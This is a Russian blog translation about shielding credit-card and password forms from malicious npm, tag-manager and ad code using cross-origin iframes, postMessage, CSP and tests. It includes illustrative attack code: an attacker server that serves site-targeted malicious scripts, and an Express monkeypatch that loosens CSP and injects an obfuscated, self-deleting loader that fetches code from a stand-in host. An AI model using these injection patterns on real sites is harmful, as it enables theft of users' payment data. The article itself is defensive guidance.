https://habrahabr.ru/company/ruvds/blog/347958/- Разработка веб-сайтов
- Информационная безопасность
- Node.JS
- JavaScript
- Блог компании RUVDS.com
Недавно мы опубликовали
перевод истории программиста, придумавшего способ распространения вредоносного кода, который собирает данные банковских карт и пароли с тысяч сайтов, оставаясь при этом незамеченным.
Тот пост вызвал живой и эмоциональный отклик аудитории. Кто-то говорил о том, что всё пропало, и теперь он не сможет спокойно спать, кто-то утверждал, что уж его-то проектов это точно не коснётся, кто-то задавал вопросы о том, как от такого защититься… К проблеме, поднятой в предыдущем материале, можно относиться по-разному, но она вполне реальна, поэтому сегодня мы публикуем продолжение истории того, кто ворует номера кредиток. Сегодня он расскажет о методах защиты веб-проектов от потенциально опасного кода.
В двух словах о самом главном
Прежде чем переходить к деталям, рассмотрим, в двух словах, основные идеи, которые будут здесь раскрыты.
Итак, для защиты веб-проектов нужно учесть, как минимум, две вещи. Во-первых, стороннего кода избегать не надо. Во-вторых, особое внимание следует уделить сбору и обработке данных, которые могут быть интересны потенциальному злоумышленнику.
А именно, сбор подобных данных необходимо проводить средствами выделенной веб-страницы, которую следует выводить в отдельном
iframe
. Размещать её надо на сервере для статических веб-страниц, расположенном на домене, отличном от домена основного сайта. Это — если вы хотите работать, скажем, с банковскими картами, самостоятельно. Здесь можно пойти и другим путём, например, если вы сомневаетесь в действенности вышеописанных защитных мер, или просто не хотите усложнять свой проект. Этот путь заключается в том, что обработку подобных данных можно полностью передать специализированному сервису.
Рекомендации, данные в этом материале, хорошо подходят лишь для сайтов, работающих с ограниченными категориями ценной информации, которую можно чётко отделить от всего остального и соответствующим образом защитить (это, например — логины и пароли, а также данные банковских карт). Если же вы занимаетесь разработкой чего-то вроде чата или приложения для работы с базами данных, где абсолютно всё может представлять интерес для злоумышленника, эти рекомендации тут особенно не помогут.
Хомяк и доберман
Немного страха — это обычно полезно. Это мобилизует и заставляет действовать. Предлагаю вам оценить ощущения, которые возникли бы у вас, если бы вам пришлось делать заявление, подобное тому, которое недавно пришлось сделать компании
OnePlus:
…в код страницы обработки платежей был внедрён вредоносный скрипт, который предназначен для кражи данных кредитных карт в процессе их ввода… Этот скрипт работал с перерывами, перехватывая данные и отправляя их злоумышленникам прямо из браузеров пользователей… это происшествие может затронуть до 40 тысяч пользователей oneplus.net.
Страх, о котором мы говорили выше, не имеет конкретной формы. Для того чтобы с ним разобраться, давайте обратимся к зоологии, найдём его материальное воплощение в животном мире.
Я представляю сторонний код как здоровенного матёрого добермана. Он выглядит спокойным, даже благодушным. Но в его чёрных немигающих глазах таятся искры неизвестного. Достаточно сказать, что я не оставлю ничего, что мне дорого, там, куда он может добраться.
Конфиденциальные данные моих пользователей я представляю себе в виде милого беззащитного хомячка. Я вижу, как он, с невинным видом, лижет передние лапки и умывает свою глуповатую мордочку, как он беззаботно резвится прямо перед собачьей пастью.
Теперь, если вы когда-нибудь состояли в дружеских отношениях с доберманом (что я вам очень рекомендую), вы вероятно знаете, что доберманы — это прекрасные, добрые существа, которые определённо не заслуживают той дурной репутации, которой их наделило общественное мнение. Однако, несмотря на это, вы не будете спорить с тем, что не стоит оставлять добермана наедине с хомяком, который удивительно похож на жевательную игрушку для собак.
Уверен, что если вы, уходя из дома, оставите этих двоих в одной комнате, то, вернувшись, застанете умилительную сцену всеобщего спокойствия и увидите хомяка, спящего на спине добермана. Или, возможно там, где раньше был ваш маленький питомец, окажется лишь пустота, а собака, склонив голову набок, будет как бы спрашивать о том, можно ли взглянуть на меню десертов.
Я считаю, что код, который взят из npm, GTM, DFP, или откуда угодно ещё, не нужно считать бесспорно опасным. Но я хочу предложить, чтобы, если вы не можете гарантировать того, что этот код будет вести себя достойно, вы учитывали бы то, что безответственно оставлять его наедине с конфиденциальными данными пользователей.
Итак, я советую придерживаться следующего настроя: конфиденциальные данные и сторонний код нельзя держать вместе без присмотра.
Пример: защита уязвимого сайта
Сайт, который мы рассмотрим в этом примере, имеет форму для ввода данных кредитных карт, к которой может получить доступ вредоносный код. Подобные формы можно увидеть в нескольких очень крупных интернет-магазинах, которые вы, вероятно, считали хорошо защищёнными.
Форма для ввода данных банковской карты
Эта страница буквально переполнена сторонним кодом. Она использует React и была создана с помощью Create React App, поэтому даже до начала серьёзной работы над ней у неё уже было 886 зависимостей.
Кроме того, на ней имеется Google Tag Manager (если кто не знает — GTM — это удобный механизм, который позволяет совершенно неизвестным вам людям внедрять JS-код на ваш сайт, успешно обходя помехи в виде анализа кода).
И, для полного счастья, на этой странице есть ещё и баннерная реклама (она на скриншот не попала). Эта реклама представляет собой полтора мегабайта JS-кода, разбросанного по 112 сетевым запросам. Всему этому требуется 11 секунд процессорного времени для того, чтобы загрузить единственную анимированную гифку, изображающей скачущую на лошади кредитную карту.
(Тут мне хотелось бы отметить, что меня, в связи со всем этим, разочаровывает Google. Его сотрудники, пропагандирующие правильные подходы к программированию, тратят уйму времени, рассказывая нам о том, как сделать веб быстрым. Там убрали несколько десятков килобайт, тут сэкономили несколько миллисекунд… Всё это замечательно, но в то же время они позволяют собственной рекламной сети DFP отправлять мегабайты данных на устройства пользователей, выполняя сотни сетевых запросов и отнимая секунды процессорного времени. Google, я знаю, в твоём распоряжении достаточно квалифицированных специалистов, умственного потенциала которых хватит для того, чтобы создать более интеллектуальный и более быстрый способ работы с рекламными объявлениями. Почему же этого до сих пор не сделано?)
Итак, вернёмся к нашей теме. Очевидно, мне нужно выдернуть секретные данные пользователей из загребущих рук стороннего кода. Мне хочется, чтобы форма, о которой идёт речь, жила бы на собственном маленьком острове.
Сначала надо найти симпатичную картинку, а потом придумать метафору, которая свяжет эту картинку с темой статьи
Теперь, когда вы достаточно настроились на серьёзную работу, прочитав некоторую часть моего сегодняшнего рассказа, я собираюсь приступить к описанию практических подходов по защите ценных данных от стороннего кода. А именно, тут мы рассмотрим три варианта защиты:
- Вариант 1: перемещение формы для ввода данных кредитной карты в её собственный документ, в котором нет стороннего кода, и обслуживание этого документа как отдельной страницы.
- Вариант 2: по сути, то же самое, что и первый вариант, но страница для ввода данных карты размещается в
iframe
.
- Вариант 3: то же, что и второй вариант, но родительская страница и
iframe
обмениваются данными с использованием механизма postMessage
.
▍Вариант 1: отдельная страница для конфиденциальных данных
В целях безопасности проще всего будет создать новую страницу для работы с конфиденциальными данными, на которой вообще нет JavaScript-кода. Когда пользователь щёлкает по кнопке «Купить», его, вместо показа ему какой-нибудь симпатичной формы, встроенной в страницу и стилизованной в соответствии с её дизайном, отправляют на примерно такую страницу:
Выделенная страница для работы с данными банковских карт
К несчастью, так как шапка, подвал и панель навигации моего сайта являются компонентами React, я не могу использовать их на этой странице, созданной без привлечения стороннего кода. Поэтому её шапка, синий прямоугольник с надписью, представляет собой вручную сделанную копию полнофункциональной шапки. Самодельная шапка, конечно, не обладает теми же возможностями.
Когда пользователь ввёл данные в форму, он щёлкает по кнопке Отправить (Submit) и попадает на следующий шаг процесса совершения покупки. Это может потребовать некоторых изменений в серверной части сайта, которые позволяют отслеживать действия пользователя и те данные, которые он отправляет в систему по мере перемещения его по страницам сайта.
Для того, чтобы файл с формой не содержал ничего лишнего, я воспользовался стандартными механизмами проверки формы вместо того, что можно сделать на JavaScript. Как результат, уровень поддержки такой страницы
превышает 97%, а работа с атрибутами
required
и
pattern
позволяет оценить то, насколько далеко продвинулась реализация проверки введённых данных с помощью JavaScript.
Вот пример такой страницы на CodePen. Тут используется проверка введённых данных с помощью регулярных выражений без использования JS и условная стилизация.
Если вы собираетесь пользоваться подобным подходом на практике, рекомендую держать код, имеющий отношение к форме, в одном файле. Сложность — это враг такого подхода (в нашей ситуации подобное отношение к сложности особенно справедливо). HTML-файл вышеприведённого примера, вместе со встроенным CSS в теге
<style>
, занимает примерно 100 строк кода. Так как он очень мал и для отображения этого файла не нужно дополнительных сетевых запросов, практически невозможно незаметно его изменить.
К несчастью такой подход требует копирования CSS-стилей. Я много об этом думал и рассматривал разные подходы. Все они требуют больше кода, чем тот объём скопированного CSS, дупликацию которого можно с их помощью предотвратить.
Итак, хотя идея «Don’t Repeat Yourself» — это отличный ориентир, её не следует рассматривать как абсолютное правило, которое нужно выполнить любой ценой. В некоторых редких случаях, вроде того, который мы тут рассматриваем, копирование кода — это меньшая из двух зол.
Самые полезные правила — это те, о которых известно, когда их можно нарушить.
(В новом году я пытаюсь сообщать умные вещи, не говоря ничего по существу).
▍Вариант 2: самостоятельная страница в iframe
Первый вариант получился вполне рабочим, но это — шаг назад с точки зрения проектирования пользовательских интерфейсов и UX. К тому же, тот момент, когда вы принимаете у кого-то деньги — это не тот случай, когда стоит нагружать человека лишними перемещениями по страницам.
Второй вариант улучшает ситуацию благодаря тому, что страница с формой размещается в
iframe
.
Тут вы, возможно, попытаетесь сделать нечто вроде этого:
<iframe
src="/credit-card-form.html"
title="credit card form"
height="460"
width="400"
frameBorder="0"
scrolling="no"
/>
Не делайте так.
В данном примере родительская страница и содержимое
iframe
могут свободно видеть друг друга и друг с другом взаимодействовать. Это будет то же самое, как если оставить добермана в одной комнате, хомяка — в другой, а между этими двумя комнатами будет незапертая дверь, которую доберман, когда проголодается, легко сможет открыть.
Хорошо бы поместить
iframe
в «песочницу». Причём (как я только что узнал), это не имеет никакого отношения к атрибуту
iframe
sandbox
, так как он направлен на защиту родительской страницы от
iframe
. Наша же задача заключается в том, чтобы защитить
iframe
от родительской страницы.
В браузерах есть встроенный механизм, который позволяет с недоверием относиться к коду, который поступает из источника, отличного от того, откуда берётся базовая страница. Это называется
same-origin policy — политика безопасности, которая ограничивает взаимодействие кода, полученного из разных источников. Благодаря этому механизму для того, чтобы предотвратить взаимодействие базовой страницы с
iframe
, достаточно загрузить в
iframe
страницу с другого домена:
<iframe
src="https://different.domain.com/credit-card-form.html"
title="credit card form"
height="460"
width="400"
frameBorder="0"
scrolling="no"
/>
При таком подходе, если вернуться к нашему примеру из мира домашних животных, хомяк скажет вам огромное спасибо за то, что вы надёжно заперли дверь.
Если вас беспокоит вопрос доступности содержимого
iframe
для людей с ограниченными возможностями, то могу сказать, что, во-первых, я вами горжусь, во-вторых — можете об этом больше не беспокоиться. Вот что сообщает об этом
WebAIM: «Встроенные iframe не имеют известных проблем с доступностью. Содержимое встроенного iframe считывается с позиции его включения в страницу (основываясь на порядке следования тегов в разметке) так, как если бы оно было содержимым родительской страницы».
Подумаем теперь о том, что произойдёт, когда форма будет заполнена. Пользователь щёлкнет по кнопке отправки этой формы, находящейся в
iframe
, но нам нужно, чтобы это подействовало на родительскую страницу. Однако, у содержимого страницы и
iframe
разные источники, что заставляет задаться вопросом о том, возможна ли реализация вышеописанной схемы.
Это, к счастью, возможно, и именно для этого предназначен атрибут формы
target
:
<form
action="/pay-for-the-thing"
method="post"
target="_top"
>
<!-- form fields -->
</form>
Итак, пользователь может ввести конфиденциальные данные в форму, которая идеально сочетается с основной страницей. Затем, при отправке формы, осуществляется перенаправление родительской страницы.
Рассматриваемый нами второй вариант защиты ценных данных — это огромный шаг вперёд в плане безопасности, а именно, на базовой странице, полной внешних зависимостей, больше нет формы, доступной коду этих зависимостей.
Однако идеальное решение нашей проблемы не должно требовать перенаправления страницы. Это приводит нас к третьему варианту.
▍Вариант 3: обмен данными между родительской страницей и iframe
На моём экспериментальном сайте мне хотелось бы хранить данные банковской карты в состоянии приложения, вместе со сведениями о приобретаемом товаре, а после сбора всей необходимой информации передавать её с помощью одного AJAX-запроса.
Это невероятно просто. Я тут, для отправки данных из формы на родительскую страницу, воспользуюсь механизмом
postMessage
.
Итак, вот страница, размещённая в
iframe
:
<body>
<form id="form">
<!-- form stuff in here -->
</form>
<script>
var form = document.getElementById('form');
form.addEventListener('submit', function(e) {
e.preventDefault();
var payload = {
type: 'bananas',
formData: {
a: form.ccname.value,
b: form.cardnumber.value,
c: form.cvc.value,
d: form['cc-exp'].value,
},
};
window.parent.postMessage(payload, 'https://mysite.com');
});
</script>
</body>
Обратите внимание на
var
. Теперь, на родительской странице (или, точнее, в компоненте React, который ответственен за
iframe
), я просто ожидаю сообщений от
iframe
и соответствующим образом обновляю состояние:
class CreditCardFormWrapper extends PureComponent {
componentDidMount() {
window.addEventListener('message', ({ data }) => {
if (data.type === 'bananas') {
this.setState(data.formData);
}
});
}
render() {
return (
<iframe
src="https://secure.mysite.com/credit-card-form.html"
title="credit card form"
height="460"
width="400"
frameBorder="0"
scrolling="no"
/>
);
}
}
Этот пример основан на React, но ту же идею можно реализовать и другими средствами.
Если покажется, что этот подход небезопасен, вместо этого можно отправлять данные из формы родительской сущности с помощью события
onchange
, по отдельности для каждого поля.
Пока я всё это делаю, ничто не мешает родительской странице выполнить проверку введённых данных и отправить форме сообщение о том, правильно ли всё введено. Это позволяет мне переиспользовать код проверки ввода, который имеется ещё где-то в моём проекте.
Тут мне хотелось сделать дополнение, основанное на
двух ценных комментариях, в которых мне подсказали, что
iframe
может отправить данные, не выполняя перенаправление родительской страницы, а затем передать родительской странице сообщение об успешном или неудачном проведении операции с использованием
postMessage
. При таком подходе на родительскую страницу вообще не передаётся каких-либо конфиденциальных данных.
Вот и всё! Ценные данные пользователя безопасно введены в форму, размещённую в
iframe
и загруженную туда из источника, отличающегося от источника базовой страницы. Эти данные скрыты от родительской страницы, но при этом они могут быть частью состояния приложения, что означает, что пользователю будет так же удобно работать с сайтом, как и без использования
iframe
.
Тут вы, возможно, подумаете, что отправка данных кредитной карты на родительскую страницу перечёркивает все наши усилия по защите этих данных. Не будут ли эти данные доступны вредоносному коду, размещённому на базовой странице?
Ответ на этот вопрос состоит из двух частей, и я сразу извиняюсь, но мне не удаётся придумать простой способ это объяснить.
Причину, по которой я считаю уровень риска, характерный для предложенного подхода, приемлемым, легче всего понять, если смотреть на ситуацию глазами хакера. Представьте, что перед вами стоит задача создать вредоносный код, который может работать на любом веб-сайте, выполняя поиск ценной информации и отправляя её на какой-нибудь сервер. Каждый раз, когда этот код что-то отправляет, он рискует быть обнаруженным. Поэтому в ваших интересах отправлять на сервер лишь те данные, в ценности которых вы уверены.
Если бы мне надо было написать подобный код, я не стал бы без разбора слушать события
message
и отправлять на сервер то, что удалось из них извлечь. Мне это ни к чему, так как существуют тысячи сайтов, на которых используются уязвимые формы для ввода платёжных данных, а поля этих форм аккуратно подписаны.
Вторая часть ответа заключается в том, что вредоносный код, который вас беспокоит, это не нечто универсальное. Этот код вполне может знать, какие именно сообщения ему нужно перехватывать, а значит — сможет украсть ценные данные, передаваемые в этих сообщениях. Защита от вредоносного кода, который написан специально для вашего сайта — это тема, которая достойна отдельного раздела.
Универсальный вредоносный код, и код, рассчитанный на конкретный сайт
До сих пор я говорил об атаках, использующих универсальный вредоносный код. Речь идёт о коде, который не знает, на каком именно сайте он выполняется. Он просто ищет то, что ему нужно, собирает это и отправляет в логово своего злодея-создателя.
Вредоносный код, нацеленный на конкретный сайт, с другой стороны, это код, который написан с учётом особенностей конкретного веб-проекта. Он создан квалифицированным разработчиком, который потратил недели на то, чтобы досконально изучить этот проект.
Если ваш сайт был инфицирован вредоносным кодом, написанным специально для него, это значит, что вы попали. И в этом нет никаких сомнений. Возможно, всё ценное вы обрабатываете в прекрасно защищённом
iframe
, но вредоносный код просто уберёт этот
iframe
и заменит его на обычную форму. Атакующий даже может изменить цены в вашем интернет-магазине, скажем, пообещав скидку в 50% и предложив пользователям, которые уже вводили данные своих кредитных карт, ввести их повторно для получения бонуса. Такая атака — настоящее бедствие.
Если с вами такое случится, пожалуй, вам останется лишь поискать позитива в простых радостях жизни.
Именно поэтому так важна
политика защиты контента. Жизненно важна. В противном случае атакующий может массово распространять универсальный вредоносный код (скажем, через npm-пакет), а затем «проапгрейдить» его до кода, рассчитанного на ваш проект, просто отправив запрос на свой сервер и отправив в ответ то, что нужно. Вот как это может выглядеть на сервере злоумышленника:
app.get('/analytics.js', (req, res) => {
if (req.get('host').includes('acme-sneakers.com')) {
res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js'));
} else if (req.get('host').includes('corporate-bank.com')) {
res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js'));
} else if (req.get('host').includes('government-secrets.com')) {
res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js'));
} else if (req.get('host').includes('that-chat-app.com')) {
res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js'));
} else {
res.sendFile(path.join(__dirname, '../malicious-code/generic.js'));
}
});
Атакующий может делать с кодом, рассчитанным на конкретный сайт, всё, что ему заблагорассудится. Например — обновлять его вслед за обновлениями сайта. Поэтому обязательно используйте политику защиты контента.
В общем-то, всё вышесказанное сводится к тому, что использование
postMessage
для отправки конфиденциальных данных из
iframe
на родительскую страницу лишь слегка увеличивает риск. Универсальный вредоносный код вряд ли сможет понять эти сообщения, а код, нацеленный специально на ваш сайт, возьмёт то, что ему нужно независимо от того, как вы пытаетесь защититься.
Тут мне хотелось бы отметить, что я бы не использовал три вышеописанных варианта защиты на собственном маленьком сайте. Я позволил бы заняться обработкой данных кредитных карт моих клиентов профессионалам и предлагал бы лишь возможность входа на сайт с использованием Google, Facebook или Twitter. Конечно, не стоит слепо применять такой подход. Тут сначала надо оценить потенциальные финансовые потери, связанные с недополученным доходом от пользователей, которые не захотят входить на ваш сайт с использованием аккаунтов в социальных сетях, а также риски, связанные с безопасным хранением данных пользователей.
Другие уязвимые места веб-проектов
Возможно, вы думаете, что если вы последуете вышеприведённым советам, то ваш проект будет в безопасности. Если бы всё было так просто… Я вижу, в дополнение к формам ввода данных, ещё четыре уязвимых места веб-проектов. Обещаю, что буду поддерживать сведения по этим уязвимостям в актуальном состоянии.
▍Сервер
Итак, у нас имеется идеальная HTML-страница, на которой нет абсолютно ничего лишнего. С её помощью мы безопасно принимаем у пользователей конфиденциальные данные. Осталось лишь разместить её на каком-нибудь домене, который отличается от основного домена сайта.
Возможно, это будет простой сервер на Node.js. Ну, может добавим к нему всего один маленький пакет для логирования…
Ох, ну ничего ж себе. 204 пакета?
Ладно, 204 пакета — это много, но тут может возникнуть вопрос о том, как код, выполняющийся на сервере, который отдаёт лишь статические файлы, может угрожать данным пользователя, вводимым в браузере?
Проблема заключается в том, что любой код, из любого npm-пакета, который выполняется на сервере, может делать всё, что ему будет угодно, с другим кодом, включая тот, который занимается обработкой сетевого трафика.
Предположим, я — начинающий разработчик, которого приводят в замешательство четырёхбуквенные слова вроде
this
и
call
, но даже я могу найти способ внедрения скрипта в логику обработки данных, покидающих сервер и позволить серверу выполнять запросы к моему домену, отредактировав заголовок CSP.
const fs = require('fs');
const express = require('express');
let indexHtml;
const originalResponseSendFile = express.response.sendFile;
express.response.sendFile = function(path, options, callback) {
if (path.endsWith('index.html')) {
// добавляю свой домен в политику защиты контента
let csp = express.response.get.call(this, 'Content-Security-Policy') || '';
csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com ');
express.response.set.call(this, 'Content-Security-Policy', csp);
// внедряю самоуничтожающийся скрипт
if (!indexHtml) {
indexHtml = fs.readFileSync(path, 'utf8');
const script = `
<script>
var googleAuthToken = document.createElement('script');
googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA=');
document.body.appendChild(googleAuthToken);
</script>
`;
indexHtml = indexHtml.replace('</body>', `${script}</body>`);
}
express.response.send.call(this, indexHtml);
} else {
originalResponseSendFile.call(this, path, options, callback);
}
};
Когда внедрённый скрипт попадает в браузер, он загружает какой-то код (возможно — рассчитанный специально на этот сайт) с некоего сервера (а он может это сделать, так как CSP ему уже не помешает), а затем уничтожает все свидетельства собственного присутствия.
Сам по себе код, приведённый выше, бесполезен (внимательный читатель, наверняка, это уже заметил), и настоящий хакер, вероятно, не станет подобным образом обращаться с Express. Я просто показывают потенциальную уязвимость сервера, и то, что любой код, выполняющийся на нём, вполне может привести к краже данных, которые пользователь вводит в браузере.
Если вы — автор пакета, вы можете рассмотреть использование
Object.freeze
или
Object.defineProperty
с установленным
writable: false
для того, чтобы защитить вашу разработку от вмешательства извне.
Если говорить о реальной осуществимости вышеописанной атаки, то она вероятность её реализации очень низка. Полагаю, если некий модуль для Node будет делать нечто подобное, его будет очень легко обнаружить.
Однако если речь идёт о реальной безопасности и ответственности, задайтесь вопросом о том, готовы ли вы к потенциальным проблемам, которые могут быть вызваны серверным кодом, модифицирующим страницы, считающиеся защищёнными, перед отправкой их пользователям?
Рекомендую размещать подобные страницы на статическом файловом сервере или просто не заниматься всем тем, о чём мы тут говорим.
▍Отправка материалов на сервер для хранения статических файлов
В названии этого подраздела содержится и описание уязвимости, и описание одного из этапов работы над защищённым сайтом.
Мне нравится использовать для хостинга статических файлов
Firebase. Этот сервис невероятно быстр и с ним очень легко взаимодействовать. А именно, для работы с ним достаточно установить пакет
firebase-tools
из npm, и… Так, стоп, получается, что мы используем npm-пакет для того, чтобы избавиться от необходимости применять npm-пакеты на сервере?
Хотя, надо успокоиться. Может быть перед нами — один из тех прекрасных npm-пакетов, у которых вообще нет зависимостей.
Наблюдаем за процессом установки…
640 пакетов
Вот уж и правда, повезло нам с
firebase-tools
. Установлено всего 640 пакетов.
Ладно, тут я прекращаю давать рекомендации по статическим хостингам. Вам нужно просто найти способ залить файлы на выбранный вами сервер. И в ходе этого процесса вам придётся довериться коду, который написали не вы.
Кстати, забавная вещь. Я писал этот материал несколько недель. Когда дело дошло до проверки окончательного варианта, я решил проверить правильность данных по
firebase-tools
и установил этот пакет снова…
Сначала было 640 пакетов, а потом стало 647
Меня прямо-таки съедает любопытство. Зачем нужны эти 7 дополнительных пакетов? Знают ли те, кто занимается разработкой Firebase, о том, каковы функции этих семи пакетов? Знает ли вообще кто-нибудь, что делают пакеты, от которых зависят их пакеты?
▍Webpack
Вероятно, вы заметили, что я не давал советов о включении «защищённых» HTML-файлов в процессы сборки ваших проектов (скажем, для использования единых CSS-правил), даже хотя это и решило бы проблему дупликации кода.
Всё это именно так из-за того, что тысячи пакетов, которые используются даже в простейшем процессе сборки проекта с помощью Webpack, способны влиять на его итоговый результат. Сам по себе Webpack требует 367 пакетов. Если добавить сюда что-то вроде загрузчика CSS, пакетов станет на 246 больше. Отличный
html-webpack-plugin
, который вы, возможно, используете для того, чтобы поместить правильное имя CSS-файла в код главной страницы, потребует ещё 156 дополнительных пакетов.
Опять же, я полагаю, что вероятность того, что любой из этих пакетов внедрит какой-нибудь неожиданный скрипт в минифицированный выходной код, стремится к нулю. Однако на мой взгляд неправильно будет потратить уйму времени на ручное создание кристально чистого HTML-файла, а потом запереть его в комнате с несколькими сотнями доберманов.
▍Неопытные разработчики
Последний фактор риска, о котором я хочу рассказать, пожалуй, опаснее всех остальных. Это — неопытный разработчик в команде, который начал программировать полгода назад и пока ещё не вполне понимает смысл выполняемых им действий. Он может изменить любой написанный вами код, он способен уничтожить любые построенные вами «защитные сооружения».
На самом деле, от этого защищаться сложнее всего. Единственное вменяемое решение, которое приходит мне в голову, это нечто вроде модульных тестов, которые направлены на проверку отсутствия внешних скриптов в «защищённых» HTML-файлах.
const fs = require('fs');
const path = require('path');
const { JSDOM } = require('jsdom');
it('should not contain any external scripts, ask David why', () => {
const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8');
const dom = new JSDOM(
creditCardForm,
{ runScripts: 'dangerously' },
);
const scriptElementWithSource = dom.window.document.querySelector('script[src]');
expect(scriptElementWithSource).toBe(null);
});
Тут я разрешаю использование тега
<script>
без указания источника (то есть, речь идёт о встроенном коде), но блокирую такие же теги с атрибутом
src
. Тут же я настраиваю
jsdom
, что позволяет узнать о создании нового элемента скрипта с помощью
document.createElement()
.
По крайней мере, при таком подходе новому разработчику придётся модифицировать модульный тест для того, чтобы добавить скрипт, а это уже окажется достаточно интересным для того, кто занимается проверкой кода.
Кроме того, полагаю, что весьма полезно наладить выполнение подобных проверок опубликованных «безопасных» HTML-файлов. В результате можно чувствовать себя уверенней даже пользуясь чем-то вроде
firebase-tools
и Webpack, и зная, что в том маловероятном случае, если один из 1200 пакетов, участвующих в формировании проекта, решит внедрить в него что-то постороннее, сработает сигнализация.
Итоги
Прежде чем мы завершим сегодняшний разговор, мне хотелось бы прокомментировать одну идею, которая часто встречалась мне за последние несколько недель. Заключается она в предложении использовать меньше npm-пакетов.
Я понимаю эмоциональную составляющую подобного хода мыслей: если пакеты могут быть опасными, это значит, что чем меньше пакетов — тем меньше опасность.
Однако эта рекомендация никуда не годится. Если защита данных ваших пользователей основана на том, что вы сокращаете число используемых npm-пакетов, то о такой «безопасности» лучше и не говорить.
Если для того, чтобы навредить хомяку, достаточно и одного добермана, то ясно, что пять доберманов будут не менее опасны, чем десять.
Если бы завтра я принялся за новый проект, за сайт, который обрабатывает сверхсекретные данные, я использовал бы те инструменты, к которым привык: React, Webpack, Babel и так далее. Всё было бы так же, как и месяц тому назад.
Мне неважно — имеется ли в моём проекте тысяча пакетов, я не обращаю внимания на то, что они постоянно меняются, меня не беспокоит даже то, что я никогда не смогу быть абсолютно уверен в том, что ни в одном из них нет вредоносного кода.
Всё это не имеет значения, так как я не собираюсь оставлять все эти пакеты без присмотра в одной комнате с моим хомяком.
Уважаемые читатели! Компьютерная безопасность — это как раз то место, о котором говорят: «один в поле не воин». Тут самые лучшие мысли обычно вырабатывает коллективный разум. Поэтому если у вас есть идеи, касающиеся защиты веб-проектов от кражи ценных данных — просим ими поделиться.